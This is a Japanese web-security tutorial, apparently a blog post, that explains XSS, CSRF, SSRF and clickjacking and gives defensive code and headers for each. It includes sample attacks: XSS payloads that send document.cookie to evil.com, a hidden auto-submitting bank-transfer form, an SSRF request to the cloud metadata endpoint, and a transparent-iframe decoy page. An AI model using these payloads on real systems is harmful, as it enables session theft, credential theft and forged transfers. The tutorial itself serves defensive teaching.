Webセキュリティ攻防実践:XSS、CSRF、SSRFとクリックジャッキングの防御体系

前端工程(更新: 2026年6月2日)

Web セキュリティ脅威の全体像

脅威 影響範囲 深刻度 防御の複雑さ
XSS データ窃取、セッションハイジャック
CSRF 操作の偽造、金銭的損失
SSRF 内部ネットワーク探索、サービス攻撃
クリックジャッキング 操作の誘導

一、XSS(クロスサイトスクリプティング)

3種類の XSS

タイプ 注入ポイント 持続性 典型的なシナリオ
格納型 サーバーサイドストレージ 持続的 コメント欄、ユーザーニックネーム
反射型 URLパラメータ 一時的 検索結果、エラーメッセージ
DOM型 クライアントサイドJS 一時的 URLハッシュ、document.write

格納型 XSS 攻撃の例

<!-- 攻撃者がコメント欄に注入 -->
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

<!-- より巧妙な img タグ -->
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

<!-- または SVG -->
<svg onload="fetch('https://evil.com/steal?c='+document.cookie)">

防御その1:出力エンコーディング

function escapeHtml(str) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
  };
  return str.replace(/[&<>"']/g, (c) => map[c]);
}

// 使用例
element.innerHTML = escapeHtml(userInput);

防御その2:CSP(Content Security Policy)

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'
ディレクティブ 意味
default-src デフォルトポリシー 'self'
script-src JS ソース 'self' 'nonce-abc123'
style-src CSS ソース 'self' 'unsafe-inline'
img-src 画像ソース 'self' data: https:
connect-src fetch/XHR ソース 'self' https://api.example.com
frame-ancestors 埋め込みソース 'none'(クリックジャッキング防止)
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

HttpOnly は JS からの document.cookie による読み取りを防ぎ、XSS が成功してもセッション Cookie を盗めません。

防御その4:Trusted Types

// Trusted Types API を有効化
if (window.trustedTypes) {
  trustedTypes.createPolicy('default', {
    createHTML: (input) => DOMPurify.sanitize(input),
  });
}

// これ以降、すべての innerHTML 代入はポリシーを経由する必要がある
element.innerHTML = userInput; // ポリシーがないとエラーがスローされる

二、CSRF(クロスサイトリクエストフォージェリ)

攻撃原理

<!-- 攻撃者サイト上の隠しフォーム -->
<form action="https://bank.com/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>

ユーザーは既に銀行サイトにログイン済み → Cookie が自動送信 → 偽造リクエストが成功。

Set-Cookie: session=abc; SameSite=Strict
クロスサイトリクエストで Cookie 送信 利用シーン
Strict 送信しない 最も安全、外部リンクからは Cookie なし
Lax GET リクエストで送信 デフォルト、安全性とUXのバランス
None 常に送信 Secure 必須、サードパーティシナリオ

防御その2:CSRF トークン

// サーバーがトークンを生成
app.use((req, res, next) => {
  req.csrfToken = crypto.randomBytes(32).toString('hex');
  res.locals.csrfToken = req.csrfToken;
  next();
});

// フォームに埋め込み
// <input type="hidden" name="_csrf" value="${csrfToken}">

// サーバーサイド検証
app.post('/transfer', (req, res) => {
  if (req.body._csrf !== req.csrfToken) {
    return res.status(403).send('CSRF token mismatch');
  }
  // 送金処理
});
// フロントエンド:Cookie から CSRF トークンを読み取り、リクエストヘッダーに入れる
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': getCookie('csrfToken'),
  },
  body: JSON.stringify(data),
});

防御その4:Origin/Referer チェック

app.use((req, res, next) => {
  const origin = req.headers.origin || req.headers.referer;
  if (origin && !origin.startsWith('https://example.com')) {
    return res.status(403).send('Invalid origin');
  }
  next();
});

三、SSRF(サーバーサイドリクエストフォージェリ)

攻撃例

GET /api/fetch?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1

169.254.169.254 は AWS メタデータサービス — 攻撃者は IAM 認証情報を取得可能。

一般的な内部ネットワークターゲット

アドレス サービス 取得可能な情報
169.254.169.254 AWS メタデータ IAM 認証情報、インスタンス情報
100.100.100.200 Alibaba Cloud メタデータ セキュリティ認証情報
metadata.google.internal GCP メタデータ サービスアカウントトークン
127.0.0.1:6379 Redis データ、設定
127.0.0.1:9200 Elasticsearch データ、クラスタ情報

防御その1:URL ホワイトリスト

const ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'];

function validateUrl(inputUrl) {
  const url = new URL(inputUrl);

  if (!ALLOWED_DOMAINS.includes(url.hostname)) {
    throw new Error('Domain not allowed');
  }
  if (url.protocol !== 'https:') {
    throw new Error('Only HTTPS allowed');
  }
  // 特殊 IP をブロック
  if (/^(127\.|10\.|172\.(1[6-9]|2\d|3[01])\.|192\.168\.|0\.|169\.254\.)/.test(url.hostname)) {
    throw new Error('Private IP not allowed');
  }

  return url;
}

防御その2:DNS リバインディング対策

// 先に DNS を解決し、IP を検証してからリクエストを送信
async function safeFetch(inputUrl) {
  const url = new URL(inputUrl);
  const addresses = await dns.promises.resolve4(url.hostname);

  for (const ip of addresses) {
    if (isPrivateIP(ip)) throw new Error('Private IP resolved');
  }

  // 解決済み IP を直接使用して DNS リバインディングを回避
  return fetch(`https://${addresses[0]}${url.pathname}`, {
    headers: { Host: url.hostname },
  });
}

四、クリックジャッキング

攻撃原理

<!-- 攻撃者サイト -->
<style>
  iframe {
    position: absolute;
    top: 100px;
    left: 200px;
    opacity: 0.01; /* ほぼ不可視 */
  }
  .decoy-button {
    position: absolute;
    top: 100px;
    left: 200px;
  }
</style>

<!-- おとりボタン -->
<button class="decoy-button">クリックしてクーポンを受け取る</button>

<!-- 透明なターゲットサイト iframe -->
<iframe src="https://bank.com/transfer?to=attacker&amount=10000"></iframe>

ユーザーは「クーポンを受け取る」をクリックしたつもりが、実際には銀行の送金ボタンをクリックしています。

防御その1:X-Frame-Options

X-Frame-Options: DENY
意味
DENY どのページにも埋め込めない
SAMEORIGIN 同一オリジンページのみ埋め込み可能

防御その2:CSP frame-ancestors

Content-Security-Policy: frame-ancestors 'self' https://trusted-embedder.com;

frame-ancestorsX-Frame-Options の現代的代替で、ホワイトリストをサポートします。

防御その3:JS フレーム破壊

if (window.top !== window.self) {
  window.top.location = window.self.location;
}

五、多層防御体系

第1層:入力検証 —— サーバーサイドですべての入力を検証
第2層:出力エンコーディング —— コンテキストに応じたエスケープ
第3層:CSP ポリシー —— リソース読み込みを制限
第4層:Cookie セキュリティ —— HttpOnly + SameSite + Secure
第5層:CSRF トークン —— リクエスト元を検証
第6層:レート制限 —— リクエスト頻度を制限
第7層:WAF —— Webアプリケーションファイアウォール

セキュリティヘッダーの完全設定

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxx'; style-src 'self'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 0
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
#Web安全#XSS#CSRF#SSRF#点击劫持